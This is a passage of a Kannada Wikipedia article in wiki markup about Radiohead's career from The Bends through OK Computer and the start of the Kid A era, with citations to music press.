ತಮ್ಮ ಹೊಸ ಸಂಯೋಜನೆಗಳನ್ನು ತಮ್ಮ ಸಂಗೀತಗೋಷ್ಠಿಯಲ್ಲಿ ನುಡಿಸುವ ಮೂಲಕ ತಂಡಕ್ಕೆ ಇನ್ನಷ್ಟು ವಿಶ್ವಾಸ ಪ್ರಾಪ್ತವಾಯಿತು.<ref name="RANDA BENDS" /> ಆದರೂ, ತಾವು ಸಾಧಿಸಿದ ಖ್ಯಾತಿಯನ್ನು ಪುನಃ ಹೋಲಿಕೆ ಮಾಡಿದ ಯಾರ್ಕ್‌, ತಾವು ಪ್ರಪಂಚಕ್ಕೆ ಪ್ರಸ್ತುತಪಡಿಸಲು ನೆರವಾಗಿದ್ದೇನೆಂದು ಭಾವಿಸಿದ 'ಲೈಂಗಿಕತೆಯ, ದುರಹಂಕಾರದ, MTV ಸಮೂಹ ಆಕರ್ಷಣೆಯ ಜೀವನಶೈಲಿ'ಯ ಭ್ರಮೆಯಿಂದ ಹೊರಬಂದರು.<ref name="REYNOLDS"> {{Citation | last = Reynolds | first = Simon | author-link = Simon Reynolds | title = Walking on Thin Ice | magazine = [[The Wire (magazine)|The Wire]] | year = 2001 |date=June 2001}}</ref> ಇಸವಿ 1994ರ ಅಪರಾರ್ಧದಲ್ಲಿ ತಂಡವು ''[[ಮೈ ಐರನ್‌ ಲಂಗ್]]'' ‌ ಎಂಬ ಏಕಗೀತೆಯನ್ನು EP ರೂಪದಲ್ಲಿ ಬಿಡುಗಡೆಗೊಳಿಸಿ ಪ್ರತಿಕ್ರಿಯಿಸಿತು. ವಾದ್ಯತಂಡವು ತನ್ನ ಎರಡನೆಯ ಆಲ್ಬಮ್‌ನಲ್ಲಿ ಹೆಚ್ಚಿನ ಆಳವಾದ ಸಂಗೀತ ನೀಡಬೇಕೆಂಬ ಅವರ ಗುರಿಯತ್ತ ಪರಿವರ್ತನೆಯಾದ ಗುರುತಾಗಿತ್ತು.<ref> {{citation | first=Steve | last=Mallins | title=Scuba Do | date=1995-04-01 | magazine = [[Vox (magazine)|''Vox'' magazine]] }}</ref> ಪರ್ಯಾಯ ರೇಡಿಯೊ ವಾಹನಿಗಳ ಮೂಲಕ ಉತ್ತೇಜಿತವಾದ ಈ ಏಕಗೀತೆಯು ನಿರೀಕ್ಷೆಗೂ ಮೀರಿ ಮಾರಾಟವಾಯಿತು. ಮೊದಲ ಬಾರಿಗೆ, ವಾದ್ಯತಂಡವು ಒಂದು ಹಿಟ್‌ ಗೀತೆ ದಾಟಿ ನೆಚ್ಚಿನ ಅಭಿಮಾನಿಗಳ ನೆಲೆಯನ್ನು ಸಂಪಾದಿಸಿದ್ದನ್ನು ಸೂಚಿಸಿತು.<ref name="EXIT"> {{citation | last=Randall | first=Mac | title=Exit Music: The Radiohead Story | date=2000-09-12 | pages=98–99 | isbn= 0385333935 | publisher=Delta }}</ref> ಪ್ರವಾಸದಲ್ಲಿ ಇನ್ನಷ್ಟು ಹೊಸ ಹಾಡುಗಳನ್ನು ಪರಿಚಯಿಸಿದ ರೇಡಿಯೊಹೆಡ್‌, ವರ್ಷದ ಕೊನೆಯಲ್ಲಿ ತನ್ನ ಎರಡನೆಯ ಆಲ್ಬಮ್‌ ಧ್ವನಿ ಮುದ್ರಣ ಸಂಪೂರ್ಣಗೊಳಿಸಿತು. ''[[ದಿ ಬೆಂಡ್ಸ್]]'' ‌ ಆಲ್ಬಮ್‌ನ್ನು ಮಾರ್ಚ್‌ 1995ರಲ್ಲಿ ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಆಲ್ಬಮ್‌ನ ಹಾಡುಗಳಲ್ಲಿ ವಾದ್ಯತಂಡದ ಮೂರು ಗಿಟಾರ್‌ ವಾದಕರಿಂದ ದಟ್ಟ ಪುನರಾವರ್ತಿಸುವ ಗೀತಭಾಗಗಳು ಮತ್ತು ಹಗುರ ರೂಪಕಗಳಿದ್ದವು; ಜೊತೆಗೆ, [[ಕೀಬೋರ್ಡ್]]ಗಳ‌ ಬಳಕೆಯ ಮೊಟ್ಟಮೊದಲ ಧ್ವನಿಮುದ್ರಣದ ಹಾಡಿಗಿಂತಲೂ ಈ ಆಲ್ಬಮ್‌ನಲ್ಲಿ ಹೆಚ್ಚಾಗಿತ್ತು.<ref name="RANDALL"/> ಈ ಆಲ್ಬಮ್‌ ಗೀತೆಯ ಸಾಹಿತ್ಯ ಮತ್ತು ಪ್ರದರ್ಶನಗಳು ಎರಡಕ್ಕೂ ಸಕಾರಾತ್ಮಕ ವಿಮರ್ಶೆ ಸಂಪಾದಿಸಿತು.<ref name="FREQUENCY"/> ಆ ಕಾಲದಲ್ಲಿ [[ಬ್ರಿಟ್‌ಪಾಪ್‌]] ಕ್ಷೇತ್ರವು ಮಾಧ್ಯಮದ ಹೆಚ್ಚು ಗಮನ ಸೆಳೆಯುತ್ತಿರುವಾಗ, ರೇಡಿಯೊಹೆಡ್‌ ಹೊರಗಿನದು ಎಂದು ಪರಿಗಣಿಸಲಾಗಿತ್ತು. ಅಂತಿಮವಾಗಿ '''ದಿ ಬೆಂಡ್ಸ್'' ‌' <ref name="KENT"/> ನೊಂದಿಗೆ ತಮ್ಮ ತಾಯ್ನಾಡಿನಲ್ಲಿ ಯಶಸ್ಸು ಕಂಡಿತು. "[[ಫೇಕ್‌ ಪ್ಲ್ಯಾಸ್ಟಿಕ್‌ ಟ್ರೀಸ್‌]]", "[[ಹೈ ಅಂಡ್‌ ಡ್ರೈ]]", "[[ಜಸ್ಟ್‌]]" ಹಾಗೂ "[[ಸ್ಟ್ರೀಟ್‌ ಸ್ಪಿರಿಟ್‌ (ಫೇಡ್‌ ಔಟ್‌)]]" ಏಕಗೀತೆಗಳು UK ಸಂಗೀತ ಪಟ್ಟಿಗಳಲ್ಲಿ ಯಶಸ್ಸಿನತ್ತ ಸಾಗಿತು. ಎರಡನೆಯ ಹಾಡು ರೇಡಿಯೊಹೆಡ್‌ ತಂಡಕ್ಕೆ ಮೊದಲ ಬಾರಿ ಟಾಪ್‌ ಫೈವ್‌ ಪಟ್ಟಿಯಲ್ಲಿ ಸ್ಥಾನ ಸಂಪಾದಿಸಿಕೊಟ್ಟಿತು. ಇಸವಿ 1995ರಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ಪುನಃ ಉತ್ತರ ಅಮೆರಿಕಾ ಮತ್ತು ಯುರೋಪ್‌ ಪ್ರವಾಸ ಕೈಗೊಂಡಿತು. ಈ ಬಾರಿ, ತನ್ನ ಆರಂಭಿಕ ವರ್ಷಗಳಲ್ಲಿ ಪ್ರೇರಣೆಗಳಾಗಿದ್ದ, ಆ ಕಾಲದಲ್ಲಿ ಅತಿದೊಡ್ಡ ರಾಕ್‌ ಸಂಗೀತ ತಂಡವಾಗಿದ್ದ [[R.E.M.]]ಗೆ ಬೆಂಬಲವಾಗಿ ಪ್ರವಾಸ ಕೈಗೊಂಡಿತು.<ref name="HARDING"/> [[ಮೈಕಲ್‌ ಸ್ಟೈಪ್ಸ್‌]]ರಂತಹ ಖ್ಯಾತ ಅಭಿಮಾನಿಗಳು ಹಾಗೂ 'ಜಸ್ಟ್‌' ಮತ್ತು 'ಸ್ಟ್ರೀಟ್‌ ಸ್ಪಿರಿಟ್‌' ಹಾಡುಗಳಿಗಾಗಿ ವಿಶಿಷ್ಟತೆಯುಳ್ಳ ಸಂಗೀತ ವೀಡಿಯೊಗಳು ಸೃಷ್ಟಿಸಿದ ಸಂಚಲನ, UKಯಾಚೆ ರೇಡಿಯೊಹೆಡ್‌ನ ಜನಪ್ರಿಯತೆ ಗಳಿಸಿ, ಉಳಿಸಿಕೊಳ್ಳಲು ನೆರವಾಯಿತು. ಆದರೂ, ಹೆಚ್ಚುತ್ತಿದ್ದ ಅಭಿಮಾನಿಗಳ ನೆಲೆಯು 'ಕ್ರೀಪ್'ನ ವಿಶ್ವಾದ್ಯಂತ ವಾಣಿಜ್ಯ ಯಶಸ್ಸನ್ನು‌ ಪುನರಾವರ್ತಿಸಲು ಸಾಲದಾಗಿತ್ತು. 'ಹೈ ಅಂಡ್‌ ಡ್ರೈ' ಅಲ್ಪಪ್ರಮಾಣದಲ್ಲಿ ಯಶಸ್ವಿಯಾಯಿತು, ಆದರೆ ''ದಿ ಬೆಂಡ್ಸ್'' ‌ US ಸಂಗೀತ ಪಟ್ಟಿಯಲ್ಲಿ 88ನೆಯ ಸ್ಥಾನ ಗಳಿಸಿತು. ಇದು ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಅತಿ ಕಡಿಮೆ ಶ್ರೇಯಾಂಕವಾಗಿ ಉಳಿಯಿತು.<ref> {{Citation | title = Radiohead: Biography | magazine = [[Rolling Stone]] | url = http://www.rollingstone.com/artists/radiohead/biography | accessdate = 2009-01-20 |archiveurl=https://web.archive.org/web/20061109102510/http://www.rollingstone.com/artists/radiohead/biography|archivedate=2006-11-09}}</ref> ಆಲ್ಬಮ್‌ನ ಸ್ವಾಗತದೊಂದಿಗೆ ರೇಡಿಯೋಹೆಡ್‌ ವಾದ್ಯತಂಡ ಸಮಾಧಾನ ವ್ಯಕ್ತಪಡಿಸಿತು. ಜಾನಿ ಗ್ರೀನ್ವುಡ್ ಹೇಳಿದ್ದು ಹೀಗೆ: "ನನ್ನ ಪ್ರಕಾರ, ''ಡಿ ಬೆಂಡ್ಸ್‌'' ಬಿಡುಗಡೆಯಾಗಿ 9ರಿಂದ 12 ತಿಂಗಳುಗಳ ನಂತರ ನಮಗೆ ಮಹತ್ವದ ತಿರುವು ಸಿಕ್ಕಿತು. ವರ್ಷದ ಅಂತ್ಯದಲ್ಲಿ ಪ್ರಕಟಿಸಲಾದ ಶ್ರೋತೃಗಳ ಅತ್ಯುತ್ತಮ ಸಮೀಕ್ಷೆಗಳಲ್ಲಿ ಈ ಆಲ್ಬಮ್‌ ಕಾಣಿಸಿಕೊಳ್ಳತೊಡಗಿತು. ನಾವು ವಾದ್ಯತಂಡವಾಗಿ ರೂಪುಗೊಳ್ಳುವ ಸರಿಯಾದ ನಿರ್ಧಾರ ತೆಗೆದುಕೊಂಡೆವೆಂದು ಆಗಲೇ ಭಾವಿಸಲು ಆರಂಭಿಸಿದ್ದು.' <ref name="LAUNCH"> {{Citation | last = DiMartino | first = Dave | title = Give Radiohead to Your Computer | magazine = [[Yahoo! Music|LAUNCH]] | date = 1997-05-02 | accessdate = 2007-12-21 }}</ref> === ''ಒಕೆ ಕಂಪ್ಯೂಟರ್‌'' , ಖ್ಯಾತಿ ಮತ್ತು ವಿಮರ್ಶಕ ಪ್ರಶಂಸೆ (1996–1998) === {{Listen |filename = Paranoid Android.ogg |title = "Paranoid Android" |description = "Paranoid Android" is a three-part song, mixing acoustic guitars, abrasive electric solos and layered choirs. The first single from ''OK Computer'', it marks Radiohead's UK singles chart peak (#3) and is still their longest song.}} ಇಸವಿ 1995ರ ಅಪರಾರ್ಧದಲ್ಲಿ, ರೇಡಿಯೊಹೆಡ್‌ ತನ್ನ ಮುಂದಿನ ರೆಕಾರ್ಡ್‌ಗಾಗಿ ಹಾಡೊಂದನ್ನು ಆಗಲೇ ಧ್ವನಿಮುದ್ರಣ ಮಾಡಿಯಾಗಿತ್ತು. [[ವಾರ್‌ ಚೈಲ್ಡ್‌]] ದಾನಧರ್ಮ ಸಂಸ್ಥೆಯ ''[[ದಿ ಹೆಲ್ಪ್‌ ಆಲ್ಬಮ್‌]]'' ನ್ನು ಉತ್ತೇಜಿಸಲೆಂದು [[ಲಕಿ]]ಯನ್ನು ಏಕಗೀತೆಯಾಗಿ ಬಿಡುಗಡೆಯಾಯಿತು.<ref name="IRETIMES"> {{citation | last = Courtney | first = Kevin | title = Radiohead calling | newspaper = [[Irish Times]] | date = 1997-05-17 | url = http://www.irishtimes.com/newspaper/weekend/1997/0517/97051700184.html | accessdate = 2007-12-24 }}</ref> ''ದಿ ಬೆಂಡ್ಸ್‌'' ಆಲ್ಬಮ್‌ ರಚನೆಯಲ್ಲಿ ಸಹಾಯ ಮಾಡಿ, 1996ರಲ್ಲಿ [[B-ಸೈಡ್‌]] "[[ಟಾಕ್‌ ಷೋ ಹಾಸ್ಟ್‌]]" ನಿರ್ಮಿಸಿದ್ದ [[ನೈಗೆಲ್‌ ಗಾಡ್ರಿಕ್‌]] ಎಂಬ ಒಬ್ಬ ಯುವ [[ಧ್ವನಿ ಇಂಜಿನಿಯರ್‌]] ಜತೆ ಸಂಕ್ಷಿಪ್ತ ಚರ್ಚೆಯ ಬಳಿಕ ಇದು ಹೊರಬಂತು. ವಾದ್ಯತಂಡವು ತಮ್ಮ ಮುಂದಿನ ಆಲ್ಬಮ್‌ನ್ನು ಗಾಡ್ರಿಚ್‌ರ ಸಹಯೋಗದೊಂದಿಗೆ ನಿರ್ಮಿಸಲು ನಿರ್ಧರಿಸಿತು. ಇಸವಿ 1996ರ ಪೂರ್ವಾರ್ಧದಲ್ಲಿ ಸಂಗೀತ ಸಂಯೋಜನಾ ಕಾರ್ಯ ಆರಂಭವಾಯಿತು. ಜುಲೈ ತಿಂಗಳೊಳಗೆ ತಂಡವು ತಮ್ಮ ಸಂಗೀತ ಪೂರ್ವಾಭ್ಯಾಸದ ಸ್ಟುಡಿಯೊ ಕ್ಯಾನ್ಡ್‌ ಅಪ್ಲಾಸ್‌‌ನಲ್ಲಿ ನಾಲ್ಕು ಹಾಡುಗಳ ಧ್ವನಿಮುದ್ರಣ ನಡೆಸಿತ್ತು.ಇದೊಂದು ಆಕ್ಸ್‌ಫರ್ಡ್‌ಶೈರ್ [[ಡಿಡ್ಕೋಟ್]] ಬಳಿಯ ಗ್ರಾಮದಲ್ಲಿ ಪರಿವರ್ತಿತ ಆಪಲ್ ಶೆಡ್ ಆಗಿತ್ತು.<ref> {{citation | first = Adrian | last = Glover | title = Radiohead&nbsp;— Getting More Respect | date = 1997-08-01 | magazine = [[Circus (magazine)|Circus]] }}</ref> ಆಗಸ್ಟ್‌ 1996ರಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ [[ಅಲಾನಿಸ್‌ ಮೊರಿಸೆಟ್‌]]ರ ಕಾರ್ಯಕ್ರಮದ ಆರಂಭದಲ್ಲಿ ಸಂಗೀತಗೋಷ್ಠಿ ನೀಡಲು ಪ್ರವಾಸ ಹೊರಟಿತು. ಧ್ವನಿಮುದ್ರಣ ಮಾಡುವ ಮುಂಚೆ ತಮ್ಮ ಹೊಸ ಹಾಡುಗಳ ನೇರ ಪ್ರದರ್ಶನದಲ್ಲಿ ಪರಿಪೂರ್ಣತೆ ಗಳಿಸಲು ಅವರು ಪ್ರಯತ್ನಿಸಿದ್ದರು. ವಾದ್ಯತಂಡದವರು ಪುನಃ ಧ್ವನಿಮುದ್ರಣ ಮುಂದುವರೆಸಿದರು. ಈ ಸಲವೂ ಅವರು ಸಾಂಪ್ರದಾಯಿಕ ಸಂಗೀತ ಸ್ಟುಡಿಯೊದಿಂದ ಹೊರಗೆ, ಬಾತ್‌ ಬಳಿ [[ಸೇಂಟ್‌ ಕ್ಯಾತರಿನ್ಸ್‌ ಕೋರ್ಟ್‌]]ನ 15ನೆಯ ಶತಮಾನದ ದೊಡ್ಡ ಭವನದಲ್ಲಿ ಧ್ವನಿಮುದ್ರಣ ನಡೆಸಿದರು.<ref>{{citation | url = http://www.time.com/time/2006/100albums/0,27693,OK_Computer,00.html | title = The All-Time 100 albums | magazine = [[Time (magazine)|Time]] | date = 2006-11-13 | accessdate = 2007-03-11 | archive-date = 2007-03-07 | archive-url = https://web.archive.org/web/20070307093434/http://www.time.com/time/2006/100albums/0,27693,OK_Computer,00.html | url-status = dead }}</ref> ಧ್ವನಿಮುದ್ರಣಾ ಅವಧಿಗಳು ಸುಗಮವಾಗಿ ನಡೆದವು. ಎಲ್ಲಾ ಸದಸ್ಯರೂ ಇಡೀ ದಿನವೂ ವಿವಿಧ ಕೊಠಡಿಗಳಲ್ಲಿ ಹಾಡುಗಳ ಧ್ವನಿಮುದ್ರಣ ನಡೆಸುತ್ತಿದ್ದರು. ಸ್ಫೂರ್ತಿ ಮತ್ತು ಪ್ರೇರಣೆಗಾಗಿ ಅವರು [[ದಿ ಬೀಟ್‌ಲ್ಸ್‌]], [[DJ ಷ್ಯಾಡೊ]], [[ಎನಿಯೊ ಮೊರಿಕೊನ್‌]] ಹಾವೂ [[ಮೈಲ್ಸ್ ಡೇವಿಸ್‌]]ರ ಸಂಗೀತಗಳನ್ನು ಆಲಿಸಿದರು.<ref name="RANDALL"/><ref name="LAUNCH"/> ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು, "ಟಾಕ್‌ ಷೋ ಹೋಸ್ಟ್‌", ಜೊತೆಗೆ "[[ಎಕ್ಸಿಟ್‌ ಮ್ಯೂಸಿಕ್‌ (ಫಾರ್‌ ಎ ಫಿಲ್ಮ್‌)]]" ಎಂಬ ಹೊಸದಾಗಿ ಧ್ವನಿಮುದ್ರಿತ ಗೀತೆ, ಅದೇ ವರ್ಷದ ಅಪರಾರ್ಧದಲ್ಲಿ [[ಬಾಜ್‌ ಲುಹ್ರ್‌ಮನ್‌]]ರ ''[[ರೊಮಿಯೊ + ಜೂಲಿಯೆಟ್‌]]'' ರೂಪಾಂತರಕ್ಕಾಗಿ ಸಂಗೀತ ನೀಡಿದರು. ಇಸವಿ 1996ರ ಅಂತ್ಯದೊಳಗೆ ಆಲ್ಬಮ್‌ನ ಉಳಿದ ಭಾಗವು ಸಂಪೂರ್ಣವಾಗಿತ್ತು. ಮಾರ್ಚ್‌ 1997ರೊಳಗೆ ಧ್ವನಿಮುದ್ರಣದ ಮಿಶ್ರಣಕಾರ್ಯ ಮತ್ತು ಮಾಸ್ಟರಿಂಗ್ ಪ್ರಕ್ರಿಯೆಗಳು ನಡೆದವು. ರೇಡಿಯೊಹೆಡ್‌ ತನ್ನ ಮೂರನೆಯ ಆಲ್ಬಮ್‌ '''[[ಒಕೆ ಕಂಪ್ಯೂಟರ್]]'' '‌ನ್ನು ಜೂನ್‌ 1997ರಲ್ಲಿ ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಇದರಲ್ಲಿ ಬಹುಮಟ್ಟಿಗೆ ಸುಮಧುರ ರಾಕ್‌ ಶೈಲಿ ಸಂಗೀತವಿತ್ತು. ಈ ಹೊಸ ರೆಕಾರ್ಡ್‌ನಲ್ಲಿ ವಾದ್ಯತಂಡವು ಹಾಡಿನ ರಚನೆಯೊಂದಿಗೆ ಪ್ರಯೋಗಗಳನ್ನು ನಡೆಸಿ, ಅವುಗಳಲ್ಲಿ [[ಆಂಬಿಯೆಂಟ್]], [[ನವ್ಯ ಪ್ರಯೋಗಿ]] ಮತ್ತು [[ವಿದ್ಯುನ್ಮಾನ]] ಪ್ರಭಾವಗಳನ್ನು ಸೇರಿಸಿತು. ಆಲ್ಬಮ್‌ನ ಗೀತೆಗಳು ಇನ್ನಷ್ಟು ಗಮನ ಹರಿಸುವಂತಹ, ''ದಿ ಬೆಂಡ್ಸ್‌'' ಗಿಂತಲೂ ಕಡಿಮೆ ವೈಯಕ್ತಿಕ ಧ್ವನಿ ಹೊಂದಿತ್ತು. ಪತ್ರಿಕೆಯೊಂದರ ಪ್ರಕಾರ, ಇದು 'ಸಹಸ್ರಮಾನದ ಬ್ಲೂಸ್‌ನ ಅಂತ್ಯ‌' ಎಂದು ವರ್ಣಿಸಿತು.<ref name="REQ"> {{citation | title = Subterranean Aliens | date = 1997-09-01 | magazine = Request Magazine }}</ref> ''ಒಕೆ ಕಂಪ್ಯೂಟರ್'' ಗೆ‌ ವಿಮರ್ಶಕರಿಂದ ಸಕಾರಾತ್ಮಕ ಪ್ರತಿಕ್ರಿಯೆ ದೊರಕಿತು. ಈ ರೀತಿಯ ಉತ್ತಮ ಪ್ರತಿಕ್ರಿಯೆ ದೊರಕಿದ್ದು ತಮಗೆ ಅಚ್ಚರಿಯಾಗಿದೆಯೆಂದು ಯಾರ್ಕ್‌ ಒಪ್ಪಿಕೊಂಡರು. 'ಈ ಆಲ್ಬಮ್‌ ಚೆನ್ನಾಗಿದೆಯೋ ಇಲ್ಲವೋ ನಮಗೇ ಹೇಳಲಾಗುತ್ತಿರಲಿಲ್ಲ. ನಾವು ಸೃಷ್ಟಿಸಲು ಪ್ರಯತ್ನಿಸಿದ ಎಲ್ಲಾ ರೀತಿಯ ಧ್ವನಿವಿನ್ಯಾಸಗಳು ಮತ್ತು ಸ್ವರಗಳು ಮತ್ತು ಪರಿಸರಗಳು ಎಲ್ಲವನ್ನೂ ಜನರು ಗುರುತಿಸಿದ್ದು ನನಗೆ ಪರಮಚ್ಚರಿಗೊಳಿಸಿದೆ.' <ref> {{citation | title = Renaissance Men | magazine = [[Select (magazine)|Select]] |date=December 1997}}</ref> ''ಒಕೆ ಕಂಪ್ಯೂಟರ್'' ‌UK ಸಂಗೀತಪಟ್ಟಿಯಲ್ಲಿ ಅಗ್ರಸ್ಥಾನ ಗಳಿಸಿತು. ಇದರ ಫಲವಾಗಿ ರೇಡಿಯೊಹೆಡ್‌ಗೆ ವಿಶ್ವಾದ್ಯಂತ ವಾಣಿಜ್ಯರೂಪದ ಯಶಸ್ಸು ತಂದುಕೊಟ್ಟಿತು. [[US ಸಂಗೀತ ಪಟ್ಟಿ]]ಯಲ್ಲಿ 21ನೆಯ ಸ್ಥಾನದಲ್ಲಿದ್ದರೂ, ಆಲ್ಬಮ್ ಮುಖ್ಯವಾಹಿನಿಯಲ್ಲಿ ಮನ್ನಣೆ ಗಳಿಸಿತು. ರೇಡಿಯೊಹೆಡ್‌ ವೃತ್ತಿಜೀವನದಲ್ಲಿ ಈ ಅಲ್ಬಮ್‌ ಮೊದಲ [[ಗ್ರ್ಯಾಮಿ ಪ್ರಶಸ್ತಿ]] ತಂದುಕೊಟ್ಟಿತು. ಇಷ್ಟೇ ಅಲ್ಲದೆ, [[ಅತ್ಯುತ್ತಮ ಪರ್ಯಾಯ ಆಲ್ಬಮ್]]‌ನಲ್ಲಿ ಜಯ, [[ವರ್ಷದ ಆಲ್ಬಮ್‌ ಪ್ರಶಸ್ತಿ]] ನಾಮನಿರ್ದೇಶನವನ್ನೂ ಸಂಪಾದಿಸಿತು.<ref> {{citation | url = http://www.amug.org/~scrnsrc/grammys_98.html | title = Screen Source presents: The 40th Annual Grammy Awards | accessdate = 2007-11-20 | date = 1998-02-27 | work = Screen Source | publisher = amug.com }}</ref> "[[ಪ್ಯಾರನಾಯ್ಡ್‌ ಆಂಡ್ರಾಯ್ಡ್‌]]", "[[ಕರ್ಮಾ ಪೊಲೀಸ್‌]]" ಹಾಗೂ "[[ನೋ ಸರ್ಪ್ರೈಸಸ್‌]]" ಹಾಡುಗಳು ಆ ಆಲ್ಬಮ್‌ನಿಂದ ಏಕಗೀತೆಗಳಾಗಿ ಬಿಡುಗಡೆಯಾದವು. ಇವುಗಳಲ್ಲಿ '[[ಕರ್ಮಾ ಪೊಲೀಸ್]]‌' ಅಂತಾರಾಷ್ಟ್ರೀಯವಾಗಿ ಅತಿ ಯಶಸ್ವೀ ಏಕಗೀತೆಯಾಯಿತು.<ref name="BILL">{{citation | url = http://www.billboard.com/bbcom/retrieve_chart_history.do?model.vnuArtistId=33472&model.vnuAlbumId=1089621 | title = Radiohead: Artist Chart History | accessdate = 2007-11-09 | magazine = [[Billboard (magazine)|Billboard]] | archiveurl = https://web.archive.org/web/20071122091500/http://www.billboard.com/bbcom/retrieve_chart_history.do?model.vnuArtistId=33472&model.vnuAlbumId=1089621 | archivedate = 2007-11-22 | url-status = live }}</ref> ''ಒಕೆ ಕಂಪ್ಯೂಟರ್'' ‌ ಬಿಡುಗಡೆಯ ನಂತರ ರೇಡಿಯೊಹೆಡ್ ತಂಡದ 'ಎಗೇನ್ಸ್ಟ್‌ ಡೆಮೊನ್ಸ್'‌ ವಿಶ್ವ ಪ್ರವಾಸ ನಡೆಯಿತು. 'ನೋ ಸರ್ಪ್ರೈಸಸ್'‌ ವೀಡಿಯೊದ ನಿರ್ದೇಶಕ [[ಗ್ರ್ಯಾಂಟ್‌ ಜೀ]] ಈ ವಾದ್ಯತಂಡದೊಂದಿಗೆ ಪ್ರಯಾಣಿಸಿ, ಚಿತ್ರೀಕರಣವನ್ನೂ ನಡೆಸಿದರು. ಈ ವೀಡಿಯೊವನ್ನು 1999ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಸಾಕ್ಷ್ಯಚಿತ್ರ '''[[ಮೀಟಿಂಗ್‌ ಪೀಪಲ್‌ ಈಸ್‌ ಈಸಿ]]'' 'ಯಲ್ಲಿ ಬಿಡುಗಡೆಗೊಳಿಸಲಾಯಿತು.<ref> {{citation | url = http://movies.nytimes.com/movie/177943/Meeting-People-is-Easy/overview | title = Meeting People is Easy (1999) | accessdate = 2007-11-20 | last = Deming | first = Mark | date = 2007-11-20 | newspaper = [[New York Times]] }}</ref> ಸಂಗೀತ ಉದ್ದಿಮೆ ಮತ್ತು ಮಾಧ್ಯಮದ ಬಗ್ಗೆ ವಾದ್ಯತಂಡದ ಅಸಮಾಧಾನವನ್ನು ಚಿತ್ರವು ಬಿಂಬಿಸುತ್ತದೆ. ಅವರು ಇಸವಿ 1997ರ ಮಧ್ಯಾವಧಿಯಲ್ಲಿ ತಮ್ಮ ಮೊಟ್ಟಮೊದಲ ಪ್ರವಾಸದಿಂದ ಹಿಡಿದು ಸುಮಾರು ಒಂದು ವರ್ಷದ ನಂತರ,1998ರ ಮಧ್ಯಾವಧಿಯಲ್ಲಿ ಬೆಳವಣಿಗೆ ಹೊಂದುತ್ತಿದ್ದಂತೆ ಅವರ ಅತೃಪ್ತಿಯನ್ನು ತೋರಿಸಿದ್ದಾರೆ.<ref name="RANDALL"/> ಈ ವೀಡಿಯೊ ಚಿತ್ರದಲ್ಲಿ ಬಿಡುಗಡೆಯಾಗದ ಹಾಡುಗಳ ಮುಂಚಿನ ಆವೃತ್ತಿಗಳು ಅಥವಾ ಹಲವು ವರ್ಷಗಳ ತನಕ ಬಿಡುಗಡೆಯಾಗದ ಹಾಡುಗಳನ್ನು ದಾಖಲಿಸಿಕೊಂಡಿದೆ - ಉದಾಹರಣೆಗೆ, 'ಹೌ ಟು ಡಿಸಪಿಯರ್‌ ಕಂಪ್ಲೀಟ್ಲಿ', 'ಲೈಫ್‌ ಇನ್‌ ಎ ಗ್ಲ್ಯಾಸ್‌ಹೌಸ್‌' ಮತ್ತು 'ನ್ಯೂಡ್‌'. ಈ ಸಮಯದಲ್ಲಿ ವಾದ್ಯತಂಡವು '''[[7 ಟೆಲಿವಿಷನ್‌ ಕಮರ್ಷಿಯಲ್ಸ್‌]]'' ' ಎಂಬ ಸಂಗೀತ ವೀಡಿಯೊ ಸಂಕಲನ, ಹಾಗೂ ಎರಡು EPಗಳಲ್ಲಿ ''[[ಏರ್‌ಬ್ಯಾಗ್‌/ಹೌ ಆಮ್‌ ಐ ಡ್ರೈವಿಂಗ್‌]]'' ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಜೊತೆಗೆ, ''ಒಕೆ ಕಂಪ್ಯೂಟರ್‌'' ಏಕಗೀತೆಗಳ B-ಬದಿಗಳ ಹಾಡುಗಳನ್ನು ಸಂಕಲನ ಮಾಡಿದ ''[[ನೋ ಸರ್ಪ್ರೈಸಸ್‌/ರನಿಂಗ್‌ ಫ್ರಮ್‌ ಡೆಮನ್ಸ್‌]]'' ಸಹ ಬಿಡುಗಡೆ ಮಾಡಿತು. === ''ಕಿಡ್‌ ಎ'' , ''ಆಮ್ನೆಸಿಯಾಕ್‌'' ಹಾಗೂ ಧ್ವನಿ-ವಿನ್ಯಾಸದಲ್ಲಿ ಬದಲಾವಣೆ (1999–2001) === [[ಚಿತ್ರ:Jonny Greenwood Synth (Amsterdam).jpg|thumb|right|ಗ್ಲಾಕೆನ್‌ಸ್ಪಿಯಲ್‌ ಸೇರಿದಂತೆ, ಜಾನಿ ಗ್ರೀನ್ವುಡ್‌ ವಿವಿಧ ವಾದ್ಯಗಳನ್ನು ನೇರ ವಾದ್ಯಗೋಷ್ಠಿ ಮತ್ತು ಧ್ವನಿಮುದ್ರಣಗಳಲ್ಲಿ ಬಳಸಿದ್ದಾರೆ.]] ಇಸವಿ 1997-1998 ಪ್ರವಾಸದ ನಂತರ ರೇಡಿಯೊಹೆಡ್‌ ಬಹುಮಟ್ಟಿಗೆ ನಿಷ್ಕ್ರಿಯವಾಗಿತ್ತು. ಈ ಅವಧಿ ಮುಗಿದ ನಂತರ, 1998ರಲ್ಲಿ ಪ್ಯಾರಿಸ್‌ನಲ್ಲಿ ನಡೆದ [[ಆಮ್ನೆಸ್ಟಿ ಇಂಟರ್ನ್ಯಾಷನಲ್]] ಗೋಷ್ಠಿಯು ಅವರ ಏಕೈಕ ಸಾರ್ವಜನಿಕ ಪ್ರದರ್ಶನವಾಗಿತ್ತು.<ref>{{citation | url = http://www.artforamnesty.org/view_artist.php?id=32 | title = Art for Amnesty | accessdate = 2007-12-22 | archive-date = 2007-10-30 | archive-url = https://web.archive.org/web/20071030120709/http://www.artforamnesty.org/view_artist.php?id=32 | url-status = dead }}</ref> ಆನಂತರ ಯಾರ್ಕ್‌ ಒಪ್ಪಿಕೊಂಡಂತೆ, ಈ ಅವಧಿಯಲ್ಲಿ ವಾದ್ಯತಂಡವು ಒಡೆದುಹೋಗುವ ಸನಿಹಕ್ಕೆ ತಲುಪಿತ್ತು ಹಾಗೂ ಅವರು ತೀವ್ರ ಖಿನ್ನತೆಗೊಳಗಾಗಿದ್ದರು.<ref name="ECCLES"> {{citation | last=Eccleston | first=Danny | date=2000-10-01 | magazine =[[Q (magazine)|Q]] | accessdate = 2007-12-23 }}</ref> ಇಸವಿ 1999ರ 